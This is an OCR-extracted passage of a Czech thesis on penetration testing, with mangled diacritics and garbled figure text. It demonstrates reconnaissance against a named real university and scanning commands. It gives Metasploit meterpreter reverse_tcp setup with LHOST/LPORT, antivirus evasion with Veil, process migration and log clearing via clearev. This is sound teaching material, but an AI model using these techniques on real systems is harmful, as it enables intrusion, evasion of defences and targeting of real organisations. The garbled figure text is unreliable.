o Nebo NtCreateThreadEx(), nezdokumentovana funkce ntdll.dll

3.2.5 Umisténi kédu do operac¢ni paméti a nasledné spusténi
Pro umistnéni kédu do paméti a jeho nasledné spusténi se pouzivd nékolik
metod:

Void-pointer casting:

e Spustitelny kdd je nahrany do pole a ukazatel na toto pole je pouZzit ve funkci,

ktera spousti kéd
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e Voperacnich systémech (Vista a vyssi), které pouzivaji DEP je tento zpiisob

spousténi vétSinou netuspésny, pokud neni DEP vypnuta v nastaveni systému
VirtualAlloc:

e Alokuje potfebnou pamét s opravnénim Read Write Execute
e Kbd v této paméti je spustitelny diky Execute opravnéni

e Funkéniina operacnich systémech s DEP ochranou zapnutou
HeapAlloc:

e Vyuziva stejné techniky jako VirtualAlloc

e Heap alokace paméti je na rozdil od VirtualAlloc techniky flexibilné;si

e HeapObject sdm pouziva VirtualAlloc Win32 Api pro alokaci paméti dle
potieby

Pyinstaller, ktery je moZné pouZit ve frameworku Veil automaticky generuje
exe se zapnutou DEP, to mlZze zplisobovat problémy s nékterou z technik umisténi
spustitelného kédu do paméti. Samotny Pyinstaller ma otevieny zdrojovy Kkod,
komunita tedy vytvorila separatni verzi, kterd integraci DEP vypina.

Autor se rozhodl do prace zaradit ukazku generovani kdédu, ktery zapisuje a
spousti cilovy spustitelny kéd. Tuto ukazku vyuzivd Veil framework pro
programovaci jazyk C# a je knahlédnuti v ptiloze 9.8 Ukazka Csharp meterpreter

code injection.
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3.3 Ziskavani informaci o cili

Cilem penetracnich testli je nalézt nejvétSi mnoZstvi bezpecCnostnich dér
v cilovém systému. Vysledkem penetracniho testu je dokument, popisujici vSechny
provedené testy (utoky), vCetné jejich metodiky a ndastrojii, seznam odhalenych
bezpecnostnich chyb a doporuceni dalsitho postupu pro zvyseni bezpecnosti.

Metodika a provedeni penetracniho testovani se lisi dle cilového systému.
Zpravidla se sklada z analyzy vnéjsiho a vnitiniho prostredi.

Analyza vnéjsSiho prostredi se zabyva sbérem informaci o daném informacnim
systému z pohledu externiho pozorovatele napft. verejna IP adresa, nebo topologie
organizace a jeji dalsi systémy.

Vnitini analyza mtze nabyvat invazivnéjsi povahy, hleda informace o vnitfnim
fungovani cilového systému. Metodiky pouZité vtomto kroku mohou byt napf.
skenovani portli, hledani vnitinich zabezpeceni (firewall), identifikace uZzivateld,
hledani aktivnich a neaktivnich zarizeni pfipojenych k siti atd.

Za invazivni kroky z pohledu zabezpeceni cilového systému jsou povaZovany
utoky jako skenovani portd, posilani poskozenych packett, ¢i vyuziti virt pro detekci
obrannych mechanik. Pro skenovani portli je mozné pouzit nastroj Nmap, a je nutno
podotknout, Ze vétSina AV software skenovani portii povazuje za invazivni a ihned o
této praktice notifikuji uzivatele. Existuji vSak aplikace, které pouzivaji skenovani
portl pro svou funkcnost. Pfi dobré identifikaci téchto aplikaci, je mozné se za né
vydavat. (infosecinstitute, 2016)

Na zakladé vnitini analyzy a identifikace jednotlivych prvka v systému jsou
provedeny dals$i kroky hledani bezpecnostnich chyb. Nejjednodus$si metodikou je
vyzkouseni vychozich, ¢i predpokladanych prihlasovacich udajt. Typicky se jedna o
kombinace jména a hesla, které je mozné ziskat od vyrobce cilového zarizeni napft.
Tplink routery admin:admin. (datarecovery, 2014)

DalSim postupem je zjiSténi verzi veSkerého software, se kterym je mozZné
prijit pri komunikaci s cilovym systémem do styku. Verze operacniho systému a
programy, které pouzivaji interni uZivatelé systému. Programy, které jsou cCasto
podrobeny utokiim napt. Adobe Reader, MS Office, e-mailovi klienti, ¢i internetovy

prohliZze¢. Mnoho spole¢nostni pravidelné vydava bezpecnostni zpravy shrnujici
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popis odhalenych chyb a tento seznam dopliiuje doporucenimi, jak takovym chybam
predejit, napr. spolecnost Adobe vydava bezpecnostni zpravy ke vSem svym
produktlim, viz Adobe security bulletin.

Samotnym zavérem testu je pokus o prolomeni bezpecnosti systému a dle
specifikace cile testu ziskani nejvyssiho mozného opravnéni - SYSTEM, nebo ziskani
citlivych firemnich informaci - dokumenty, zpravy.

Kromé ziskani kontroly nad informacemi nebo ¢asti cilového systému mize
byt provadén i test odolnosti, jehoZ cilem je restartovat, nebo primo zastavit
vybranou sluzbu napf. webové stranky.

Benefity z penetraCnich testli jsou ovéreni redlné bezpecnosti systému na
urovni software, nebo otestovani uZzivateld, ktef{ jsou soucasti systému napft. formou
zasilani falesSnych e-maild. Po zpracovani vysledki testu je vZdy nutné mit na paméti,
ze zadny test nikdy neodhali vSechny chyby a zranitelnd mista, proto je z pohledu

bezpecnosti dobré testy provadét Casto a s riiznymi metodikami samotného testovani.

Posouzeni zranitelnosti
(Vulnerability
Assessment)

Samotné proniknuti
(Actual Exploit)

Sbér dat Vypracovani zpr_évy
(Data Collection) (Report Preparation)

Metody manualniho
penetracniho testovani

Obrazek 6 - Metody penetra¢niho testovani zpracovano dle (softwaretestinghelp, no date)

KaZzdému penetra¢nimu testu vZdy predchazi priprava, tedy sbér dat a jejich

zpracovani.

1) Sbér vetejnych informaci o spolecnosti a zaméstnancich
2) Skenovani sité spolecnosti
3) Identifikace moznych bezpecnostnich chyb

(Open infromation systems security group, 2006)

Nasledujici kapitoly se vénuji sbéru dat a posouzeni zranitelnosti.

20


https://helpx.adobe.com/security.html

3.3.1 Sbhér verejnych informaci o spoleénosti a zaméstnancich

Prvnim krokem je vyuziti internetu ke sbéru vSech informaci o spolecnosti,
jako jeji adresa, webové stranky ci verejné sitové uzly (verejna IP, mailovy server
apod.). Tento krok mize podminit uspéch celého testovani, ale cCasto je limitovan
¢asem a rozpoctem, mnoho ndastroji nevydava své vysledky zdarma (Open
infromation systems security group, 2006). Autor tedy vyuZil pouze neplacené zdroje,
aby nastinil moznost ziskani téchto informaci i pro béZzné uzivatele.

Pro demonstraci nékolika zpuisobtli ziskani informaci byla pouzita instituce
Univerzita Hradec Kralové a jeji webové stranky uhk.cz.

UZiteCny a volné dostupny ndastroj je Wayback Machine - web.archive.org,
ktery vytvari snapshots (obrazy) webl v urcitém case a umoziiuje jejich zpétné

prohliZeni. Na Obrazku 7 - uhk.cz snapshots (web.archive.org, no date) jsou vidét

zmény univerzitniho webu a v kalendari jsou znazornény uloZené snapshots.

PO T | | P ..LJ.A-I.I.I||||.J||.II.‘1I.. [T TR J....u_J..lLL.-L. :

1996 1997 1998 1899 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 201 2012 2013 2014 2015 2016 2017 2018

< >
Mon, 29 Feb 2016 14:37:39 GMT (why: NO404, NO404-WKP)

JAN FEB MAR APR

LU 12 13 14 5 6 7 8 9 m N 3 4 5 6 7 8 9 7 8 9 m N 12 13

H

Obrazek 7 - uhk.cz snapshots (web.archive.org, no date)

Pfi vybrani ndhodného data z kalendare (29. 2. 2016) se zobrazi obraz webu,
ktery je aktualni k tomuto datu viz Obrazek 8 - uhk.cz aktuality . Na zakladé takto
ziskanych informaci je mozné ziskat napf. jména osob, kterym bylo pravdépodobné
zménéno opravnéni vramci systému - povysSeni, dfive pouZivané ucty, které jsou

dnes jiZz neplatné, nebo guest uCty vytvorené pro recniky akci.
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Aktuality Podafilo se ndm

0. sraz Ceské Symfony komunity v Hradci Kralové HIT kariéra nabidla pestry program

FIM — 29.02.2016 - 29.02.2016 FIM — 28, 2016

Zveme vds na Gvodni sraz, ktery se uskutetni v pondéli 29.2.2016 od Ji poosmé usporadala Fakults informatiy a managementu na své
18.00 do 20.00 hod. v budové FIMky v posluchdmé... akademické piidé v arealu Na Soutoku veletrh pracovnich piilezitosti s

nazvem HIT kariéra. "
Pozvanka na stitni doktorskou zkousku a obhajobu disertaéni

price Archeologové si posvitili na Fivot pravékych lidi

PFF — 29.02.2016 - 29.02.2016 FF — 26.02.2016

Dne 29. tinora 2016 probéhne statni doktorska zkouska a obhajoba Katedra archeologie Filozofické fakulty Univerzity Hradec Krilové se

disertaéni prace v oboru Aplikovana biologie a... tigastni mezinarodniho projektu The Archaeclogy of light — the role of light
in prehistoric people 's life. "

call for papers: Konference "Energeticka bezpeénost a politika EU

- problémy, osti a perspektivy” Pedagogickou fakultu UHK povede v novém akademickém roce doc.

17490015 - 28.02.2016 FrantiSek Vanitek

Katedra politologie Filozofické fakulty Univerzity Hradec Kralové ve UHK — 18.02.2018

spolupraci s Politologickym klubem FF UHK vyzyva... 0 novém dékanovi Pedagogické fakulty UHK rozhodlo 17. tnora 2016 aZ

treti kolo voleb. Stavajici dékan doc. Pavel Vacek v ném ziskal &tyfi hlasy,
Vedouci Centra pedagogického vyzkumu PdF UHK zatimco doc. Franti§ek Vanitek dostal diivéru sedmi &end akademického
PdF — 20.01.2016 - 29.02.2016 sendtu PdR.”

Dékan Pedagogické fakulty UHK wyhladuje wybérové fizeni na

. Univerzita Hradec Kralové zvolila nového rektora
obsazeni pozice

vedoud Centra pedagogického vizkumu... UHK — 17.02.2016
Ve stfedu 17. Gnora 2016 zvoli Akademicky sendt Univerzity Hradec
Regionalni debata Iniciativa pro evropské hodnoty: .. Abychom v Kralové (UHK) kandiditem na rektora prof. Kamila Kugu.”
Cesku opét neztratili svobodu™
UHK 01072 nie prvni volba kandidéta na rektora dopadla patem
Iniciativa pro evropské hodnoty (dale jen ,IEH") ve spolupréci s UHK — 10.02.2016
magistratem mésta Hradec Kralové a Univerzitou... Ve stfedu 10. tnora 2016 vybiral Akademicky senat Univerzity Hradec
Krilové (UHK) kandiddta na nového rektora, ktery by mél od nového
pFednaZka LMS centra: dr. Pavol Labuda - "Maji Ari ého roku nahradit ve funkd sougasného nejvySsiho
nézory na re a jazyk relevanciu (pre filozofiu jazyka) aj dnes?" predstavitele univerzity prof. Josefa Hynka. Nikdo ze tii navrzenych
FF s 02.03.2016 - 02.03.2016 kandidtdl viak ani po dvou volebnich kolech neziskal potfebnou vétsinu

Katedra filozofie a spoleGenskych véd FF UHK a Centrum pro studium hlasi Aksdemickeho senatu. Proto se budou volby opakovat.

jazyka, mysli a spole€nosti Vs srdeéné zvou na... > 2. rotniku ze iniho pobytu v Jizni Korei

Obrazek 8 - uhk.cz aktuality 29. 2. 2016

Diky pomocnym dokumentlim jako je ptistup k wifi pro nové navstévniky, je
mozné odhadnout format piihlasovacich jmen, viz Obrazek 9 - UHK navod k ptipojeni

k wifi.

Pfi ovéfeni zadavejte uZivatelské jméno ve tvaru wZivatelské_jméno@uhk.cz {pozor, nejednd se o
email) a platné heslo k danému uZivatelskému Gctu (stejné jako heslo ke studijnimu systému).

Obrazek 9 - UHK navod k pripojeni k wifi (Univerzita Hradec Kralové - Bezdratové
pripojeni - eduroam, no date)

Na zakladé nalezenych jmen je moZné pouZzit dalsi nastroje, které se zabyvaji
vyhledavanim osobnich informaci. Z diivodi zachovani anonymity Skoly a jejich
pracovniki se autor rozhodl vyhledat nastroj, ktery pokryva jiny stat.

Pro vyhledavani informaci o osobach ve Velké Britanii je moZné pouZit nastroj
192.com viz Obrazek 10 - John Smith. Volné dostupné jsou informace o adrese a
telefonnim ¢isle, v CR je mozné ke stejnému tcelu vyuzit Zlaté stranky. Viechny tyto a
dalsi informace mohou slouZit pro vypracovani slovniku moznych hesel, které dana

osoba muZe pouZzivat.
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WHO / WHAT: WHERE:

D €5 €D com’ Findaschool
People, Businesses & Places ALL Y John Ssmith London SEARCH The free school admission research

tool by 192.com

Home ‘, People Businesses Places Schools Help Your Account v

:

sults for John Smith or | Smith in London » T e
- N Mapa  satelin b

s
2 A
s ) Smith 113, Higham R nham, London, N17 6NU 3

Potters Bar Cheshunt i

2 Jsmith 35, Anni

rton, Londor

50D

3 |JSmith 94! hley Road, Golders Green, London. NW11 7PE

3orehamwood @ Enfield
Chigv
Edgware
v (;)m

w

4 |]Smith 37. Manol hetstone, London, N20

200 Premium Results: Inclu

more information o2

{mbley m (;)GB lifor

Name on Elect Dir N Barkir

e & o
. f London

John Smith

Age Gui ' v v View o3 &
chmond (R
tham ey =

2 John Malcolm Smith v g v e -5

2P Podminky pouZii  Nahlési ehyblivmapé

5346

'} 650 Birth Records, { 2486 Marriag!

View Family Records Expand map view

Obrazek 10 - John Smith (John Smith in London - People Directory - 192.com, no date)

Nastrojem, ktery je mozné pouzit primo v Kali Linux je Goofile, ktery vyuziva
vyhledavace Google, aby naSel a stahnul vSechny soubory, které spliuji zadana
kritéria napt. vyhledani vSech .pdf soubori, které se nalézaji na webu Microsoft.com

(Rozen, 2017) viz Obrazek 11 - Goofile.

:~# goofile -d microsoft.com -f pdf

microsoft.com/phones/fi C es/Nokia 500_Nokia Belle UG pl.pdf
ps.microsoft.com/phone \ _500_Nokia Belle UG pl.pdf
soft.com/documents ucompliancedoc/EU_RED DoC_1187 081417 .pdf
download.microsoft.com/documents U_RED_DoC_1787_081417 .pdf
microsoft.com/phone i es/Nokia_1280_UG_en.pdf
.microsoft.com/documents/ i compliancedoc/EU RED_DoC_ 1790 080317 .pdf
i /EU_RED_DoC_1790_68@317.pdf
.com/documents/ e/eucompliancedoc/EU RED DoC_1681 080317 .pdf
.com/documents/ /EU_RED_DoC_1681_080317 .pdf
e/eucompliani

t.com/documents
.webapps .microsoft.com/phone:
.webapps.microsoft.com/phor M n.p
download.mic 5 / s i ucompliancedoc/eu_doc_1703_1704_1705_1625_1706_.
022017 .pdf
ucompliancedoc/EU_DoC_1727_123016.pdf
../EU_DoC_1727 123016.pdf

Obrazek 11 - Goofile zdroj: (Rozen, 2017)

Z technického hlediska jsou webové stranky zdrojem i dalSich informaci nez
jen ty, které muze Cist bézny uzivatel napf. jména a IP adresy webovych sluzeb. Pro

tento ucCel vyuZil autor opét webové stranky uhk.cz v kombinaci s webovym
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nastrojem robtex.com viz Obrazek 12 - robtex uhk.cz (uhk.cz - Robtex, no date), kde

jsou vyjmenovany IP adresy, jména servert ¢i subdomény skoly.

SHARED T4
Using as PTR IP numbers Sharing IP numbers Name servers
2001:718:1202:240::200 2001:718:1202:240::200 prometheus.uhk.cz ns.hknet.cz
2001:718:1202:240::800 | |195.113.118.240 1 results shawn. ns2.hknet.cz
195.113.118.30 2 results shown. nsa.ces.net

195.113.118.240
4 results shown.

3 results shown.

IP numbers of the name servers Mail servers IP numbers of the mail servers
2001:718:1:1::144:205 uhk-cz.mail.eo.outlook.com 213.199.154.23
2001:718:1203:2::aa 1 results shown. 213.199.154.42
2001:718:1203:2::ab 213.199.154.87
195.113.115.171 213.199.180.170
195.113.115.174 4 results shawn.

195.113.144.205
6 results shown.

Subdomains/Hostnames
Domains or hostnames one step under this domain or hostname.
dillec.ubk.cz
eidos.uhk.cz
fhs.uhk.cz
gwl.uhk.cz
iris.uhk.cz
lide.uhk.cz
oliva.uhk.cz
radocha.uhk.cz
strojirenstvi.uhk.cz
www.uhk.cz

10 results shown.

Obrazek 12 - robtex uhk.cz (uhk.cz - Robtex, no date)

Nastrojli, které je mozné vyuZzit pro sbér verejnych informaci, existuje cela
fada, idealni je oviem v$echny zkombinovat. Napt. se autorovi povedlo najit ICO a DIC
nejmenovaného subjektu, tyto informace potom vyuZil ke specifikaci vyhledavani
v rejstiiku firem, kde nasel idaje o pravnické osobé a diky provazani systému s rzp.cz
(Zivnostensky rejstrik) ziskal i Zivnostenské tidaje o této osobé. Autor predpoklada, Ze
osoby s vysokou pozici v ramci organizace budou mit pristup ke sluzbam jako je napfr.
ftp, tedy ziskdni informaci o téchto osobach miize pomoci k ziskani vysokého
opravnéni v ramci cilového systému.

VSechny zjisténé informace vedou k lepSimu pochopeni celé organizace a jeji

infrastruktury, takZe pripadny utok miiZe byt veden mnohem piresnéji.

3.3.2 Skenovani sité

Z technického hlediska je dtilezité zmapovat firemni sit a na ni bézici sluzby,
tyto informace se uZ tykaji samotného zabezpeceni vnitini sité. Kategorie vhodné

k prohledavani v siti dle (Open infromation systems security group, 2006) jsou:
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- Vyhledani Zivych hostli (Live hosts)

- Skenovani portti a sluzeb

- Analyza sitového perimetru - routery, firewall apod.
- Identifikace kritickych sluzeb

- Vyhledani otiskii operacnich systémi

- Identifikace sitovych cest
Samotné skenovani sité mlize byt uskute¢néno dvéma zptisoby:

1) Pasivni - odposlouchavani
Nezanechava tolik stop
b. Napf. pomoci privilegovaného reZimu sitové karty ve spojeni
s nastrojem Wireshark
c. Nebo nastroje dsniff, ktery pomoci Man In The Middle odchytava
hesla sluzeb jako je ftp, imap, pop3 atd.
2) Aktivni - rozesilani zprav do sité
a. Zanechava stopy, nékteré automatizované antivirové nastroje

rovnou podnikaji obranné akce

Nastroje vhodné k aktivnimu skenu sité:

Porty a hosty

- nmap, nebo netcat
o hledani hostd, portti a sluzeb
" nmap -v scanme.nmap.org
» Skenovani vSech rezervovanych TCP portli na daném zarizeni
(nmap.org, no date)
- fping
o vyuziva ICMP k vyhledani hostt na siti
» fping-a-r3-g172.31.0.0/24
» ZaSle 3x ping na kazdou IP adresu v siti

(Itswapshop, 2013)
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Firewall

- firewalk
o Zkousi najit, které protokoly jsou blokovany, a které jsou povolené na
cesté k zadanému hostu
o VyuzZiva podobného algoritmu jako traceroute
» Firewalk -S1-1024 -1 ethO - n -pTCP 192.168.0.1 192.168.0.106
= Skenuje porty od 1 do 1024 pres ethO sitovy interface, kde
x.X.0.1 je gateway a x.x.0.106 je cilovy host
(kalitools, 2014)
- ftester
o zasild uzivatelem vytvorené packety pres gateway a hleda ty, které
prosly k cili
o sklada se zklienta, ktery zasild packety na jedné strané firewallu a
sniffera, ktery je odchytava na strané druhé
* freport ftest.log ftestd.log
e nastavenilog soubortl k porovnani
» -csourceip:sourceport:destip:destport:flags:protocol:tos
e Nastaveni packetu k odeslani

(Inversepath, no date)

Jednou zvelmi zndmych mozZnosti je vyuZiti nastroje nmap k identifikaci

operacniho systému, ktery je pouzivan danym hostem.

- Nmap -0 -v scanme.nmap.org

o Zobrazi vSechny informace o daném hostu v¢. Verze OS

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux kernel:2.6.39

0S details: Linux 2.6.39

Uptime guess: 1.674 days (since Fri Sep 9 12:03:04 2011)
Network Distance: 10 hops

TCP Sequence Prediction: Difficulty=205 (Good luck!)

IP ID Sequence Generation: All zeros

(nmap.org, no date)
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Autor  objevil tyto a mnoho dalSich nastroji na  webu
vulnerabilityassessment.co.uk (vulnerabilityassessment, no date), kde je k nalezeni
rozsahly seznam nastroji vhodnych k penetracnimu testovani. Bohuzel jsou nékteré

nastroje jiz zastaralé.

3.3.3 Identifikace moznych bezpeénostnich chyb

Na zakladé informaci o hostu a jeho sluzbach je moZzné kazdou tuto informaci
provérit a dale prohlubovat znalostni bazi.

Napftiklad postup k prolomeni ftp sluzby miize byt nasledujici:

1) Na zakladé znalosti IP adresy hosta a portu, kde béZzi ftp aplikace, je moZné
se pomoci metody banner grabbing pripojit ke sluzbé naptiklad pomoci
telnet a ze zobrazeného banneru vycist informace o aplikaci - jeji nazev a
verze

2) Poté je mozné prohledat internet, zda neexistuje verejny exploit pro tuto
aplikaci a jeji verzi

3) Pokud zZadny vefejny neni nalezen, dalSim Kkrokem miZe byt pouziti
slovnikového utoku k nalezeni prihlasovacich idaji napf. pomoci nastroje
THC Hydra

4) Dalsi moznosti je Metasploit framework, ktery obsahuje mnoho modulid
pro utok na ftp aplikace

a. Napt. modul - ftp_login

(NetbiosX, 2012)

vivs

hostem a sluzbou, navic je vyZadovana vyssi znalost kazdé této sluzby. Mnoho kroki
je také mozné zautomatizovat a na zakladé vysledkl se az pozdéji rozhodnout pro
dalsi postup.

Pro tyto ucely je mozZné pouZit jiZ existujici nastroje, ¢asto placené. Jednim
znich je Nessus, ktery umoznuje sken cilového hosta s dobre zaznamenanymi
vysledky, zpravou o bezpecnostnich chybach viz Obrazek 13 - Nessus scan report a

Obrazek 14 - Nessus Clear and updated Win10. Vyhodou nastroje Nessus je, Ze je
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mozné zaregistrovat lokalni skener, ktery dokaZe skenovat intranetovou sit i bez
pristupu kinternetu, ten potfebuje az po skenu pii publikovani informaci do

webového rozhrani.

admin
Test Configure | Audit Trail Launch Expot ~ -
Hosts > 192.166.56.102 > Vulnerabilities Compliance
Severity a Plugin Name Plugin Family Count Host Details
CentOS 6/ 7 : openssl (CE CentOS Local Security Ghecks 1 1P 192.168.56.102
DNS: stoti
CentOS 7 : glibc (CESA-201 CentOS Local Security Checks 1 MAC: 08:00:27:db:3e:a2
os Linux Kernel
r CentOS 7 : graphite2 (CESA...  GentOS Local Security Ghecks 1 S10.0;827.4. ST XBATET G0
- Centos Linux release 7.2.1511
— (Core)
| HIGH i CentOS 7 : kernel (CESA-20... CentOS Local Security Checks 1 Start May 11 at 10:34 PM
End: May 11 at 10:39 PM
] CentoS 7 : mariadb (CESA~..  CentOS Local Security Checks 1 Elapsed; 6 minules
KB: Download

CentOS 5/6/7 : bind (CES...

CentOS 6/ 7 : ipa/ libidb / Ii

CentOS 6/ 7 : libssh (CES..

CentOS 6/ 7 : nss-util (CES...

CentOS 6/ 7 : samba (CES.

CentOS Local Security Checks

CentOS Local Security Checks

CentOS Local Security Checks

CentOS Local Security Checks

CentOS Local Security Checks

Vulnerabilities

® Criical
High
Medium

® Low
® info

&

Obrazek 13 - Nessus scan report (Alexander V. Leonov, no date)

Vulnerabilities 3

CRITICAL

MEDIUM

© wore etails

Severty..  Name amily Count
. Y N

. Nessus Scan Informatio Settings

. Ping the remote host 1

Obrazek 14 - Nessus Clear and updated Win10 vlastni zdroj

Nessus umoziiuje i staZzeni celého vysledku skenu, kde je knalezeni vice
informaci neZ z webového rozhrani, to se hodi pro automatizované zpracovani (When
and when not to use Credentials for Nessus scans - Blog | Tenable™, 2006).

Vv

Nevyhodou téchto nastrojii je vysSi cena a fakt, Ze Zadny automatizovany
nastroj nikdy nepokryje celou oblast na 100%, vSechny vysledky je tfeba ruc¢né
zhodnotit, zda jsou vhodné pro dany penetracni test, a pocitat i stim, Ze nékteré

oblasti bezpecnosti mohly zistat neotestované.
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3.4 Frameworky vhodné pro penetracni testovani

Hackovani jako takové je Sirsi vefejnosti vnimano jako nedovoleny pokus o
ziskani informaci, ¢i poskozeni cilového subjektu, ¢asto se sledovanim vlastnich
zajmi. U¢elem penetrac¢nich testi je predejit témto titokdim a minimalizovat ztraty,
které mohou vzniknout pfi jejich ispéSném provedeni.

Lidé, ktefi se snazi nabourat do cilového systému s myslenkou ubliZit, ¢i ziskat
cenné informace jsou nazyvani Black Hats. Oproti nim White Hats jsou zpravidla
penetracni testeri, snaZici se, pomoci stejnych technik jako Black Hats, najit
bezpecnosti chyby v cilovém systému, upozornit na né a pomoci pfi jejich opravovani.

White Hats pomahaji v ¢innosti frameworky, které jsou v nékterych pripadech
s otevienym zdrojovym kédem, komunita tedy miize aktivné vyvijet techniky pro
penetracni testovani. Black Hats své techniky a nastroje pro utoky zridka kdy uvolnuji
pro vefrejnost. Z tohoto diivodu je potieba pocitat s tim, Ze White Hats jsou aZ o
nékolik let pozadu za Black Hats, pozadu je i vyvoj antivirového software.

Nevyhodou White Hats a jejich frameworkil s otevienym zdrojovym kdédem
pro penetracni testovanti je, Ze se antivirové programy velmi rychle naudi tyto atoky
odhalovat na zakladé znalosti zdrojovych kédd, ¢i struktury, které vyuZzivaji tyto
frameworky, misto toho, aby cilily na odhaleni samotného utoku. Z tohoto diivodu
miZe byt nejrozSifenéjsi framework pro penetracni testovani Metsploit pri
samotném testu odhalen. Tomuto frameworku vychazi vstric framework Veil, ktery
cili na ukryti spustitelného souboru na platformé Windows pied antivirovym
programem. Veil generuje spustitelny soubor, jehoz aktivita je kompatibilni s

frameworkem Metasploit.

3.4.1 Metasploit framework

Metasploit project vytvairi komplexni prostredi vhodné pro velké mnoZstvi
penetracnich testli. Jeho nejznamé;jsi implementaci zajiStuje Metasploit framework,
ktery je soucasti Kali linux.

Metasploit framework obsahuje moduly pro ziskavani informaci ze sité, nebo
cilového zarizeni, hledani bezpecnostnich chyb a provadéni ttokd. Jeho architektura

modulu se sklada z:
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e Exploits - moduly, které vyuZzivaji tzv. payloads
o Exploits bez payloads jsou auxiliary (pomocné) moduly
o Mohou slouzit k provedeni atokt, pokud ma ttocnik kontrolu nad svou
obéti
e Payloads - kod, ktery mtize byt spustén samostatné na cilovém zarizeni
o Maodifikuji je encodery

* Encoders - zajistuji zménu signatury payload kédu
VsSechny moduly maji své vychozi adresairové umisténi:

e /usr/share/metasploit-framework/modules/

Pro samotny penetracni test je pouzit payload reverse_tcp v x86 konfiguraci:
e setpayload windows/meterpreter/reverse_tcp

Pro x64 konfiguraci:

e setpayload windows/x64/meterpreter/reverse_tcp

Nastaveni payload pro reverse_TCP se provadi pomoci specifikace LHOST a
LPORT

e set LHOST x.x.x.x
o vnéjsi (vétSinou verejnd) IP adresa, na kterou se bude klient pfipojovat
o napt.set LHOST 169.254.201.161
e set LPORT x
o port, na kterém bude Metasploit naslouchat
o existuje varianta, ktera nasloucha na vSech volnych portech

o napft. set LPORT 80 pro HTPP, 443 pro HTTPS

o alias pro exploit
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Po napsani run, nebo exploit bude spustén TCP listener, ktery obsadi
specifikovanou IP adresu a Port, kde cekd na pripojeni klienta. Po pripojeni je
otevieno spojeni (session). Kazdy pripojeny klient ma vyhrazené vlastni spojeni,

které je identifikovano cislem.

Aktualné existujici spojeni jsou zobrazena pomoci prikazu:
e sessions
Pro ptipojeni k existujicimu spojent:

e sessions-ix
o xje identifikator spojeni

o napf. sessions -i 1

Po pripojeni k vybranému spojeni je moZzné vzdalené ovladat pocitac uZivatele.
Toto ovladani je omezeno na bezpecnostni opravnéni aktualné prihlaseného
uZzivatele. Samotné pripojeni a udrzeni spojeni zajiStuje meterpreter.

Databaze pro Metasploit framework je umisténa na Github. Kontrola
aktualizaci databaze je provadéna pii spousténi.

Samotny Metasploit framework je soucasti Kali linux bali¢kd, jeho aktualizace
je tedy provedena skrze standardni proceduru apt-get.

Rozsifeni frameworku pro tvorbu upravenych payloads se jmenuje msfvenom,
podporuje nastaveni encoderu, cilové architektury, payloadu, exe backdooring, nebo
také formatu vysledného souboru.

Pro Metasploit framework jsou Kk dispozici dalsi rozsifeni, popularni je
napriklad Armitage, které pridava grafické rozhrani. Samotny framework obsahuje
pres 1500 exploits a umi zpracovavat rtizné platformy, jako Windows, Lunix, Android,
rizna prostiedi pro béh kédu jako, webové prohliZzeCe, Java runtime, php, nodejs

apod. Popularni jsou exploits zpracované pro platformu Android.

3.4.2 Velil

Vyvoj frameworku Veil je reakci na detekci Metasploit payloads antivirovymi

programy, také pomaha novackd s jejich tvorbou.
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https://github.com/rapid7/metasploit-framework

Jednou z metodik, kterd umoZiluje antivirovym programim rozpoznat
Skodlivy kdd, je porovnani testovaného souboru s virovou databazi. Veil framework
méni signaturu payload kédu tak, aby nebyla podobna signature z Metasploit
frameworku, snazi se, aby byla unikatni.

Starsi verze Veil frameworku vyuzivaly msfvenom pro generovani payloads.
Tento zptisob je nahrazen vlasnim nastrojem Veil-Ordnance, ktery dokdze samostatné
vytvaret payloads schopné se pripojit k Metasploit listeneru.

Samotny Veil je naprogramovany v programovacim jazyku Python, ale pro
generovani vlastnich payloads umi pouZzivat i jiné programovaci jazyky napr. C#,
Ruby, Goland, PowerShell a ve verzi 3.0 pribyly Autilt3 a Lua. Sverzi 3.0 byla do
frameworku zahrnuta moznost zkontrolovani vytvoreného payload na serveru
virustotal.com, ktery pouzivalo mnoho tviircii penetracnich testl ke zjisténi, zda je
jejich soubor nachylny k objeveni. Tento postup tviircti mél za nasledek, Ze se soubory
obsahujici payloads z Metasploit frameworku dostaly do databaze Skodlivych
soubord, ktery vyuzivaji antivirové programy k detekci Skodlivych soubor?. Nové
pridand funkce ve Veil frameworku zasle pouze signaturu souboru (nebo soubort pfi
jejich vybrani) ke kontrole, zda je obsaZena v databazi virustotal.com. Cely soubor se

tak nedostane k hlubsi analyze.

Pro kompilaci kddu vyuZziva bézné dostupné kompilatory napft-.:

e (C# - Mono .Net
e Python - pyinstaller, nebo pyZ2exe
e (C-mingw32

Veil framework kombinuje riizné zptsoby, zmény signatury payloads. Vyuziva

hlavni 4 moznosti:

1) Zména programovaciho jazyka, ktery je pro cilové prostredi vhodnéjsi

2) Encodovani payloadu

3) Vyuzivani rtznych metod pro umisténi kédu do operacni paméti a jeho
spusténi

4) Integruje dalsi nastroje tietich stran jako je Hyperion
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KaZzdy payload, ktery je vygenerovany pomoci Veil frameworku ma
vygenerovany vlastni hash, ktery je uloZen. Pomoci Mubix’s vt-notify scriptu, je

mozné zkontrolovat, zda se nachazi v databazi virustotal.com.

3.4.3 Meterpreter

Je nejrozsirenéjsi a nejhtlire detekovatelny payload, ktery je soucasti Metasploit
fremeworku. Vyvojartim umoziuje ziskat od serveru knihovnu (.dll), kterou umisti do
paméti a zde ji spusti. Je tedy vhodny pro postupnou distribuci dalSitho kodu
(exploits) pro ziskani kontroly nad cilovym zarizenim.

Samotny meterpreter obsahuje funkce jako migrate(PID), diky kterym mtize
napadnout proces na zakladé jeho proces identification a premistit se do jeho
kontextu. Mize tedy béZet a udrzovat spojeni i po objeveni a smazani plivodniho
souboru, ktery obsahoval ptivodni payload.

Jednou z mechanik odhaleni skodlivého kédu je skenovani procesi a hledani
podezielého chovani. Takovym chovanim je napftiklad vytvareni novych procest.
Meterpreter bézi vzdy v kontextu jiného procesu, nemusi pro své akce vytvaret
procesy nové, pokud to neni vyZadovano povahou exploitu.

Meterpreter stagger pro reverse TCP se sklada z nasledujicich krokii:

e Navazani TCP spojeni se serverem
e Server zaSle knihovnu s dal$imi ¢astmi exploitu

e Dle metody umistovani kddu do paméti je ziskana knihovna spusténa
Vybrané prikazy pro Meterpreter po navazani spojeni s cilovym zarizenim:

e C(Claerev - vycisténi Application, System a Security logs

e Download - stdhne z cilového zatizeni vybrany soubor

e Edit - edituje vybrany soubor na cilovém zarizeni, pouziva Vim jako textovy
editor

